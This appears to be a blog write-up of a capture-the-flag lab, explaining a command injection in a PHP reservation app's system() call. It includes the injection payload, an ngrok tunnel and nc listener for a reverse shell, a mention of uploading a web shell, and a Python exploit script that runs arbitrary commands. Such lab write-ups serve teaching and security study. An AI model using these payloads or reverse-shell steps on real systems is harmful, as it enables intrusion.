CTF — Out-Of-Band RCE Solution

During this lockdown, while we’re all trying to learn something new everyday I thought of sharing a writeup of a recent CTF I’ve come across on Twitter.

Blackbox Testing Approach

Started off with browsing the Lab URL given in tweet. Initial page ‘/reserve’ asks for username.

Username is stored in cookies and user is asked to reserve a table.

Once table reservation is done, details are stored in cookies and receipts are saved under ‘/receipts/’ folder.

So far we have few direct inputs to control, could it be a cookie based injection? But no reflection of our injections or command execution per se.

Replaying earlier requests from proxy history with injected string ‘;id;’ doesn’t seem to be fruitful either. Confirmed with other characters as well.

Whitebox Testing Approach (Code Review)

One of the hints on the challenge tweets revealed the source code location (https://lab.takeover.host/source.zip).

wget source.zip; unzip source.zip, beautify reservation_file.php


Flicking through the code, it was obvious that system() function is something I need to play around. Primarily, it is echoing the values from $content variable to receipts/$filename. Let’s see if we can control or inject.

system(‘echo -e “‘.$content.’” > receipts/’.$filename);

Backtracking the code reveals that $content variable contains 4 values concatenated that we have seen earlier.

$content = ‘Reserved to: ‘.$getname.’\n\nTable: ‘.$tablename.’\n\nPrice: ‘.$price.’\n\nReceipt code: ‘.$receiptcode;

But one thing to notice here is, there’s a clear() function defined which will replace every occurrence of command separator character. When setting the cookies, app calls this function to remove harmful chars from the given string.

function clear($input){
return str_replace(array(“|”, “&”, “`”, “$”, “(“, “)”, “;”, “>”, “<”, “‘“, ‘“‘, “?”, “=”, “/”, “\\”), “”, $input);
$getname = isset($_COOKIE[‘name’]) ? $_COOKIE[‘name’] : (isset($_POST[‘name’]) ? $_POST[‘name’] : 0);setcookie(“name”, clear($getname));

Here comes the human error (implementation mistake), although clear() function is defined, it’s not used properly. Though application calls the clear() function while setting cookies, it still stores our injected string in $getname variable which is ultimately used in system() function.

The main catch here was to understand conditional statements to get the control flow reach system() call. Based on if/else conditions, we have to make a POST request with ‘table’ as GET variable and ‘name’ as POST variable to get into system() function.

w00t! Here we see the command injection output reflected back in response.
I then quickly replaced Target & Host header values to Lab domain, minimised the request by removing optional headers, uploaded a web shell to writable directory.

Reverse Shell behind a NAT

At one time or another, you’d have come across a situation where you don’t have a public server available and wanted to connect back to your machine which is behind a NAT (private network).

ngrok is the tool you can consider which provides a tunnel to your local machine. All you have to do is register an account, download ngrok binary, connect your account to ngrok agent, fire it up and create a tunnel.

wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zipunzip ngrok-stable-linux-amd64.zip./ngrok authtoken 1bt4HrdEpHUDReFSxo2kTHISWILLBEYOURTOKEN

For Reverse Shell Listener:

Terminal 1: ./ngrok tcp 1337Terminal 2: nc -nlvp 1337
Reverse Shell Bash Oneliner
Reverse shell on local machine with ngrok

And the final step, CAPTURE THE FLAG.
flag.txt wasn’t available in current/sub directories, I checked if ‘locate’ or ‘find’ linux utilities are available in the target box, searched for flag.txt using ‘find’ utility, Read the flag.txt file.

…And finally I wrote a small script for the ease of exploitation.

import requestsfrom bs4 import BeautifulSoupdomain = raw_input("Enter domain name(lab.takeover.host): ")commands = raw_input("Enter command to execute(whoami): ")url = 'http://'+ domain + '/reserve?table=1337'body = {'name': ';' + commands + ';'}headers = {'Content-Type':'application/x-www-form-urlencoded'}r = requests.post(url, data=body, headers=headers)soup = BeautifulSoup(r.text, 'html.parser')print(soup.center.text)
OOB-RCE Exploit

That’s all, folks!
Do let me know if you have found anything (new|useful) from this writeup…